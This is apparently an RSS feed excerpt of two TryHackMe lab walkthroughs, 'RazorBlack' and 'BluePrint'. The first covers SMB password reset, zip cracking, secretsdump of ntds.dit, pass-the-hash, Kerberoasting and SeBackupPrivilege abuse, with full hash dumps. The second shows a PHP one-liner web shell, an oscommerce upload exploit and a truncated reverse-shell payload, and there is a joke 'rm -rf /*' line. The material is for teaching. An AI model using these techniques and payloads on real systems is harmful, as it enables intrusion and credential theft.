STATUS_PASSWORD_MUST_CHANGE</pre><p>For the user sbradley we find an interesting message STATUS_PASSWORD_MUST_CHANGE The cause of the message is that The specified password expired. So Let&#39;s change the password.</p><pre>smbpasswd -r $IP -U sbradley<br>Old SMB password: roastpotatoes<br>New SMB password: testing<br>Retype new SMB password: testing<br>Password changed for user sbradley on 10.10.25.33</pre><p>Now Enumerate SMB with the new password</p><pre>smbmap -H $IP -u sbradley -p &#39;testing&#39;<br>[+] IP: 10.10.25.33:445        Name: 10.10.25.33<br>        Disk                        Comment<br>        ----                        -------<br>        ADMIN$                  Remote Admin<br>        C$                      Default share<br>        IPC$                    Remote IPC<br>        NETLOGON                Logon server share<br>        SYSVOL                  Logon server share<br>        trash                   Files Pending for deletion</pre><p>Now we have the read access to trash . Download everything found here and analyze it.</p><p>There are 3 files here.</p><pre>chat_log_20210222143423.txt         <br>experiment_gone_wrong.zip           <br>sbradley.txt<br></pre><p>The chat_log_20210222143423.txt has this wonderful Conversation between two staff. This gives us an insight into what we will be doing further to exploit the machine.</p><pre>- cat chat_log_20210222143423.txt </pre><pre>sbradley&gt; Hey Administrator our machine has the newly disclosed vulnerability for Windows Server 2019.</pre><pre>Administrator&gt; What vulnerability??</pre><pre>sbradley&gt; That new CVE-2020-1472 which is called ZeroLogon has released a new PoC.</pre><pre>Administrator&gt; I have given you the last warning. If you exploit this on this Domain Controller as you did previously on our old Ubuntu server with dirtycow, I swear I will kill your WinRM-Access.</pre><pre>sbradley&gt; Hey you won&#39;t believe what I am seeing.</pre><pre>Administrator&gt; Now, don&#39;t say that you ran the exploit.</pre><pre>sbradley&gt; Yeah, The exploit works great it needs nothing like credentials. Just give it IP and domain name and it resets the Administrator pass to an empty hash.</pre><pre>sbradley&gt; I also used some tools to extract ntds. dit and SYSTEM.hive and transferred it into my box. I love running secretsdump.py on those files and dumped the hash.</pre><pre>Administrator&gt; I am feeling like a new cron has been issued in my body named heart attack which will be executed within the next minute.</pre><pre>Administrator&gt; But, Before I die I will kill your WinRM access..........</pre><pre>sbradley&gt; I have made an encrypted zip containing the ntds.dit and the SYSTEM.hive and uploaded the zip inside the trash share.</pre><pre>sbradley&gt; Hey Administrator are you there ...</pre><pre>sbradley&gt; Administrator .....</pre><pre>The administrator died after this incident.</pre><pre>Press F to pay respects</pre><p>Now let&#39;s Crack the zip and looking at the contents</p><pre>- zip2john experiment_gone_wrong.zip &gt; hash2.txt</pre><pre>- john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt</pre><pre>- unzip experiment_gone_wrong.zip<br>   Archive:  experiment_gone_wrong.zip<br>   [experiment_gone_wrong.zip] system.hive password:electromagnetismo<br>  inflating: system.hive<br>  inflating: ntds.dit</pre><p><strong>4: What is Ljudmila’s Hash?</strong></p><p>As stated in the note above we can use secretsdump.py to get the hash from the previously unzipped files.</p><pre>python3 /opt/impacket/examples/secretsdump.py -system system.hive         -ntds ntds.dit LOCAL &gt; hashes3.txt</pre><p>We need to do some formatting to get only the hashes so that we can brute force it. Now you can brute-force and get the correct hash</p><pre>crackmapexec smb $IP -u lvetrova -H hashes3.txt</pre><p><strong>5: What is Ljudmila’s Flag?</strong></p><p>We will use the hash obtained in the previous question to connect to the system using Evil-WinRM</p><pre>evil-winrm -i $IP -u lvetrova -H f220d3988deb3f516c73f40ee16c431d </pre><p>PowerShell has a method for storing encrypted credentials that can only be accessed by the user account that stored them. To retrieve the credential and using it within a script, you read it from the XML file. We will use this method to get the user’s hash</p><p>PS C:\Users\lvetrova&gt; $Credential = Import-Clixml -Path &quot;lvetrova.xml&quot;<br><br>PS C:\Users\lvetrova&gt; $Credential.GetNetworkCredential().password</p><p><strong>6: What is Xyan1d3’s password?</strong></p><p>We will be using pass-the-hash with lvetrova creds:</p><p>A pass the hash attack is an exploit in which an attacker steals a <a href="https://searchsqlserver.techtarget.com/definition/hashing">hashed</a> user credential and — without cracking it — reuses it to trick an authentication system into creating a new authenticated session on the same network.</p><p>Pass the hash is primarily a lateral movement technique. This means that hackers are using pass the hash to extract additional information and credentials after already compromising a device.</p><pre>python3 /opt/impacket/examples/GetUserSPNs.py raz0rblack.thm/lvetrova -hashes f220d3988deb3f516c73f40ee16c431d:f220d3988deb3f516c73f40ee16c431d -outputfile hashes4.txt</pre><p>We get the hash for the Xyan1d3 account let’s crack it now.</p><pre>hashcat -m 13100 hashes4.txt rockyou.txt</pre><p><strong>7: What is Xyan1d3’s Flag?</strong></p><p>Login using the creds found in the previous step.</p><pre>evil-winrm -i $IP -u xyan1d3 -p cyanide9amine5628</pre><p>Use the same technique used in ques 5 to dump the password.</p><p>PS C:\Users\xyan1d3&gt; $Credential = Import-Clixml -Path &quot;xyan1d3.xml&quot;<br>PS C:\Users\xyan1d3&gt; $Credential.GetNetworkCredential().password</p><p><strong>8: What is the root Flag?</strong></p><p>Now comes the toughest part of the Challenge, Privilege escalation. This had me for quite a while but after searching a bit I found how to proceed further.</p><p>First, let&#39;s see what privileges the user has</p><pre>*Evil-WinRM* PS C:\Users\xyan1d3&gt; whoami /all</pre><pre>[...]</pre><pre>PRIVILEGES INFORMATION<br>----------------------</pre><pre>Privilege Name                Description                    State<br>============================= ============================== =======<br>SeMachineAccountPrivilege     Add workstations to domain     Enabled<br>SeBackupPrivilege             Back up files and directories  Enabled<br>SeRestorePrivilege            Restore files and directories  Enabled<br>SeShutdownPrivilege           Shut down the system           Enabled<br>SeChangeNotifyPrivilege       Bypass traverse checking       Enabled<br>SeIncreaseWorkingSetPrivilege Increase a process working set Enabled</pre><p>The interesting one here is</p><pre>SeBackupPrivilege             Back up files and directories  Enabled</pre><p>This specific privilege escalation is based on the act of assigning a user <strong>SeBackupPrivilege</strong>. It was designed for allowing users to create backup copies of the system. This privilege allows the user to read any file on the entirety of the files that might also include some sensitive files such as the <strong>SAM file or SYSTEM Registry file</strong>. From the attacker’s perspective, this can be exploited after gaining the initial foothold in the system and then moving up to an elevated shell by essentially reading the SAM files and possibly crack the passwords of the high privilege users on the system or network.</p><p>Before using this exploit we need to Dump the Domain Credentials to a file. For this, we will use <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#using-diskshadow-a-windows-signed-binary"><strong>DiskShadow (a Windows signed binary)</strong></a><strong>.</strong></p><p>Prepare the diskshadow.txt</p><pre>- cat diskshadow.txt</pre><pre>set metadata C:\tmp\tmp.cabs <br>set context persistent nowriters <br>add volume c: alias someAlias <br>create <br>expose %someAlias% h:</pre><p>Upload this file to the machine</p><p>*Evil-WinRM* PS C:\Users\xyan1d3&gt; mkdir C:\tmp <br>*Evil-WinRM* PS C:\tmp&gt; upload diskshadow.txt</p><p>Execute the diskshadow.exe from the created directory</p><pre>*Evil-WinRM* PS C:\tmp&gt; diskshadow.exe /s c:\tmp\diskshadow.txt</pre><pre>Microsoft DiskShadow version 1.0<br>Copyright (C) 2013 Microsoft Corporation<br>On computer:  HAVEN-DC<br><br>-&gt; set metadata C:\tmp\tmp.cabs<br>-&gt; set context persistent nowriters<br>-&gt; add volume c: alias someAlias<br>-&gt; create<br>Alias someAlias for shadow ID {29b531e8-3c00-49f9-925d-5e1e3937af13} set as environment variable.<br>Alias VSS_SHADOW_SET for shadow set ID {2c73aeea-cdb0-47d5-85f8-dfe4dfbdbea6} set as environment variable.<br><br>Querying all shadow copies with the shadow copy set ID {2c73aeea-cdb0-47d5-85f8-dfe4dfbdbea6}<br><br>        * Shadow copy ID = {29b531e8-3c00-49f9-925d-5e1e3937af13}               %someAlias%<br>                - Shadow copy set: {2c73aeea-cdb0-47d5-85f8-dfe4dfbdbea6}       %VSS_SHADOW_SET%<br>                - Original count of shadow copies = 1<br>                - Original volume name: \\?\Volume{115c1f55-0000-0000-0000-602200000000}\ [C:\]<br>                - Creation time: 7/16/2021 3:45:20 PM<br>                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1<br>                - Originating machine: HAVEN-DC.raz0rblack.thm<br>                - Service machine: HAVEN-DC.raz0rblack.thm<br>                - Not exposed<br>                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}<br>                - Attributes:  No_Auto_Release Persistent No_Writers Differential<br><br>Number of shadow copies listed: 1<br>-&gt; expose %someAlias% h:<br>-&gt; %someAlias% = {29b531e8-3c00-49f9-925d-5e1e3937af13}<br>The shadow copy was successfully exposed as h:\.</pre><p>Now let&#39;s abuse the <strong>SeBackupPrivilege</strong>. For this, we need few dll files which we can download from <a href="https://github.com/giuliano108/SeBackupPrivilege"><strong>here</strong></a>. After downloading we need to execute it in the following way and then download the hashes.</p><pre>*Evil-WinRM* PS C:\tmp&gt; upload SeBackupPrivilegeUtils.dll<br><br>*Evil-WinRM* PS C:\tmp&gt; upload SeBackupPrivilegeCmdLets.dll<br><br>*Evil-WinRM* PS C:\tmp&gt; import-module .\SeBackupPrivilegeUtils.dll<br><br>*Evil-WinRM* PS C:\tmp&gt; import-module .\SeBackupPrivilegeCmdLets.dll<br><br>*Evil-WinRM* PS C:\tmp&gt; copy-filesebackupprivilege h:\windows\ntds\ntds.dit C:\tmp\ntds.dit -overwrite<br><br>*Evil-WinRM* PS C:\tmp&gt; reg save HKLM\SYSTEM C:\tmp\system<br><br>*Evil-WinRM* PS C:\tmp&gt; download ntds.dit<br><br>*Evil-WinRM* PS C:\tmp&gt; download system</pre><p>Now Dump the hashes.</p><pre>- python3 /opt/impacket/examples/secretsdump.py -system system -ntds ntds.dit LOCAL</pre><pre><br><strong>Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::</strong><br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>HAVEN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:26cc019045071ea8ad315bd764c4f5c6:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fa3c456268854a917bd17184c85b4fd1:::<br>raz0rblack.thm\xyan1d3:1106:aad3b435b51404eeaad3b435b51404ee:bf11a3cbefb46f7194da2fa190834025:::<br>raz0rblack.thm\lvetrova:1107:aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16c431d:::<br>raz0rblack.thm\sbradley:1108:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b628426e:::<br>raz0rblack.thm\twilliams:1109:aad3b435b51404eeaad3b435b51404ee:351c839c5e02d1ed0134a383b628426e:::<br>[*] Kerberos keys from ntds.dit <br>Administrator:aes256-cts-hmac-sha1-96:ab77c0dd6f5a28b63c4ae5f0eb89ad48f3ed43d52dc42f1dca2e99d8fc9cdbbf<br>Administrator:aes128-cts-hmac-sha1-96:81a749369e929b7f1731489b12a49df8<br>Administrator:des-cbc-md5:d3b646b65bceb5c7<br>HAVEN-DC$:aes256-cts-hmac-sha1-96:d6b41169e02a4543b90a8c697b167948413397c30f1bf5f0199a54f387358fc6<br>HAVEN-DC$:aes128-cts-hmac-sha1-96:5ed5bd57484ca826e09afa6e5b944c27<br>HAVEN-DC$:des-cbc-md5:f71a0dc89b9d079d<br>krbtgt:aes256-cts-hmac-sha1-96:eed4acbdf1b6cc2b3c1aef992a8cea74d8b0c4ad5b4deecf47c57c4d9465caf5<br>krbtgt:aes128-cts-hmac-sha1-96:3dbbd202aa0343d1b8df99785d2befbb<br>krbtgt:des-cbc-md5:857a46f13e91eae3<br>raz0rblack.thm\xyan1d3:aes256-cts-hmac-sha1-96:6de380d21ae165f55e7520ee3c4a81417bf6a25b17f72ce119083846d89a031f<br>raz0rblack.thm\xyan1d3:aes128-cts-hmac-sha1-96:9f5a0114b2c18ea63a32a1b8553d4f61<br>raz0rblack.thm\xyan1d3:des-cbc-md5:e9a1a46223cd8975<br>raz0rblack.thm\lvetrova:aes256-cts-hmac-sha1-96:3809e38e24ecb746dc0d98e2b95f39fc157de38a9081b3973db5be4c25d5ad39<br>raz0rblack.thm\lvetrova:aes128-cts-hmac-sha1-96:3676941361afe1800b8ab5d5a15bd839<br>raz0rblack.thm\lvetrova:des-cbc-md5:385d6e1f1cc17fb6<br>raz0rblack.thm\sbradley:aes256-cts-hmac-sha1-96:ddd43169c2235d3d2134fdb2ff4182abdb029a20724e679189a755014e68bab5<br>raz0rblack.thm\sbradley:aes128-cts-hmac-sha1-96:7cdf6640a975c86298b9f48000047580<br>raz0rblack.thm\sbradley:des-cbc-md5:83fe3e584f4a5bf8<br>raz0rblack.thm\twilliams:aes256-cts-hmac-sha1-96:05bac51a4b8888a484e0fa1400d8f507b195c4367198024c6806d8eb401cb559<br>raz0rblack.thm\twilliams:aes128-cts-hmac-sha1-96:a37656829f443e3fe2630aa69af5cb5a<br>raz0rblack.thm\twilliams:des-cbc-md5:01e958b0ea6edf07</pre><p>Finally, from here we get the administrator Hashes. We can use this to login into the system using Evil-WinRM</p><pre>evil-winrm -i $IP -u administrator -H 9689931bed40ca5a2ce1218210177f0c</pre><p><strong>Getting the flag.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vuc9jFtoQAugCIzUsVHLTQ.png" /></figure><p>In the password field, we get a long string. Let&#39;s decode it using Cyberchef.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OML-CVRf5erU3mF52Xzpww.png" /></figure><h3>9: What is Tyson’s Flag?</h3><p>We can go to Tyson home folder and find a really long named executable file with the flag</p><pre>PS C:\users\twilliams&gt; type .\definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_not_a_flag.exe</pre><h3>10: What is the complete top secret?</h3><p>After moving through the directories we find a folder named &quot;C:\Program Files\Top Secret&quot;</p><p>There is an image in that folder. We can download it and analyze it for the flag.</p><p>It&#39;s pretty obvious by seeing the picture that the answer here is :wq</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*oUhSAg6usxzLXlY7b_3R0Q.png" /></figure><p><strong>11: Did you like your cookie?</strong></p><p>Say Yes or I will do sudo rm -rf /* on your PC</p><p>It&#39;s your choice now on how to answer this one 😂</p><blockquote>Congratulations on completing the room!💥</blockquote><p>Thanks a lot for reading. Share if you like it</p><p>You can find me on Twitter: <a href="https://twitter.com/mayank_pandey01"><strong>mayank_pandey01</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fde0790c182f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/razorblack-walkthrough-thm-fde0790c182f">RazorBlack-Walkthrough [THM]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BluePrint Walkthrough[❌Metasploit ❌]]]></title>
            <link>https://infosecwriteups.com/blueprint-walkthrough-metasploit-b37964edfe0c?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/b37964edfe0c</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Fri, 16 Jul 2021 18:45:01 GMT</pubDate>
            <atom:updated>2021-12-21T05:37:47.358Z</atom:updated>
            <content:encoded><![CDATA[<h4>Solving A Windows Machine On TryHackMe without Metasploit.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*btPrj6FStQHASdfR_bTEvg.png" /><figcaption>Blueprint Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*pTBXQkXvw41is63N5mCURw.png" /></figure><h3>Description</h3><p><a href="https://tryhackme.com/room/blueprint">BluePrint </a>is an easy-level Windows Machine on <a href="https://tryhackme.com/">TryhackMe</a>. The machine is a Windows 7 machine that hosts a web server on port 8080. That web server is running an outdated version of <strong>OsCommerce</strong>. This outdated Version has an arbitrary file upload vulnerability that has been used to upload a web shell. Finally, this web shell has been used to gain a stable Shell on the box with System privileges and<strong> Mimikatz</strong> has been used to find the Uses Hashes.</p><h3>Enumeration</h3><p>First of all, let&#39;s start an <strong>NMAP</strong> scan</p><pre><strong>sudo nmap -sC -sV -O 10.10.242.9 -oN nmap/inital -vv</strong></pre><pre>Starting Nmap 7.80 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021-07-16 18:08 IST<br>Nmap scan report for 10.10.43.103<br>Host is up (0.25s latency).<br>Not shown: 987 closed ports<br>PORT      STATE SERVICE      VERSION<br><strong>80/tcp    open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)</strong><br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/7.5<br>|_http-title: 404 - File or directory not found.<br><strong>135/tcp   open  msrpc        Microsoft Windows RPC<br>139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn<br>443/tcp   open  ssl/http     Apache httpd 2.4.23 (OpenSSL/1.0.2h </strong>PHP/5.6.28)<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28<br>|_http-title: Index of /<br>| ssl-cert: Subject: commonName=localhost<br>| Not valid before: 2009-11-10T23:48:47<br>|_Not valid after:  2019-11-08T23:48:47<br>|_ssl-date: TLS randomness does not represent time<br>| tls-alpn: <br>|_  http/1.1<br><strong>445/tcp   open  microsoft-ds Windows 7 Home Basic 7601 Service Pack</strong> 1 microsoft-ds (workgroup: WORKGROUP)<br><strong>3306/tcp  open  mysql        MariaDB (unauthorized)<br>8080/tcp  open  http         Apache httpd 2.4.23 (OpenSSL/1.0.2h </strong>PHP/5.6.28)<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28<br><strong><em>|_http-title: Index of /</em></strong><br><strong>49152/tcp open  msrpc        Microsoft Windows RPC<br>49153/tcp open  msrpc        Microsoft Windows RPC<br>49154/tcp open  msrpc        Microsoft Windows RPC<br>49158/tcp open  msrpc        Microsoft Windows RPC<br>49159/tcp open  msrpc        Microsoft Windows RPC<br>49160/tcp open  msrpc        Microsoft Windows RPC</strong><br>Service Info: Hosts: <a href="http://www.example.com/">www.example.com</a>, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>|_clock-skew: mean: -19m54s, deviation: 34m37s, median: 4s<br>|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 02:42:5a:d3:59:a3 (unknown)<br>| smb-os-discovery: <br>|   OS: <strong>Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)</strong><br>|   OS CPE: cpe:/o:microsoft:windows_7::sp1<br>|   Computer name: BLUEPRINT<br>|   NetBIOS computer name: BLUEPRINT\x00<br>|   Workgroup: WORKGROUP\x00<br>|_  System time: 2021-07-16T13:40:18+01:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2021-07-16T12:40:20<br>|_  start_date: 2021-07-16T12:34:54</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 138.52 seconds</pre><p>The NMAP Scan shows that there are several ports open.</p><ul><li>On Port 80 we don&#39;t find anything interesting</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*HXZtQkXo62IVH7J1nLpU-w.png" /></figure><ul><li>In The Scan we can See that on port 8080 we have the title<em> </em><strong><em>Index of</em></strong>, it can be interesting so let&#39;s see that</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*Yw7W7dNHkGKL7DRV_5yKBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l9VSc-5rQZlbkd-NpYbezA.png" /></figure><p>Indeed we have File Listing enabled here. So we go further and see that if there is a publically Available exploit for this Version of <strong>OSCommerce</strong></p><p>We can Use <strong>SearchSploit </strong>(A command-line tool for Searching on ExploitDB) to find available exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5IkGMM_sgv-IgUbhT0bTQ.png" /></figure><p>We have two exploits available <strong>Arbitartay File Upload </strong>and <strong>Remote Code Execution. </strong>We will use File Upload Vulnerability to continue further.</p><h3>Exploitation</h3><p>To Upload a file On the Server we need to make an account using the dashboard provided.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*K-29ftsRrcMUlPe3ZOkGmg.png" /><figcaption>Click On Start and Follow accordingly to make a User</figcaption></figure><p>During installation, I have used the username “root” and a blank password for the database. Furthermore, an admin user has been created with the username and password “admin”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*8KxhTv6u2r_g6UNlQluJcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*mz1rkbYt7ws9eIPJ8OqBQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*rplUNzfof3hgNIAB9odxdw.png" /><figcaption>Remember the Username and Password to Use in the next steps</figcaption></figure><p>Now that we have a User in the Application let&#39;s Upload a simple PHP web shell.</p><p>You can use a One-Liner PHP Shell and Save it as Shell.php</p><h4>&lt;?php echo shell_exec($_GET[&#39;cmd&#39;].&#39; 2&gt;&amp;1&#39;); ?&gt;</h4><p>We use <strong>shell_exec()</strong> instead of the <strong>system()</strong> because the <strong>system()</strong> command is blocked by the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*ft0U6pUS4forhlasUsmq8g.png" /></figure><pre>python /usr/share/exploitdb/expoits/php/webapps/43191.py -u <a href="http://your_machine_ip/oscommerce-2.3.4">http://YOUR_MACHINE_IP/oscommerce-2.3.4</a> --auth=admin:admin_password -f Shell.php</pre><p>Your shell will now be uploaded to the server and you can access it to run commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33rY8XvOU56nfr8XrHYFww.png" /><figcaption>dir command to list the directory.</figcaption></figure><p>We find the system info this will help us in a further attack. Here the System is an <strong>x86 Windows Machine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DOvTxrlqJwy3aHhaVkrjUA.png" /></figure><h3>Getting A Stable Shell</h3><p>Currently, we have an Initial Foothold on the System, We will leverage this to have a Full-fledged Shell this will help us to run more system Commands.</p><p>We will make a PHP file that will give us a Reverse shell back on our system. For this, we will use the following <a href="https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php">Script</a></p><pre>&lt;?php<br><br>header(&#39;Content-type: text/plain&#39;);<br>$ip   = &quot;YOUR_IP&quot;; //change this <br>$port = &quot;1234&quot;; //change this<br>$payload = &quot;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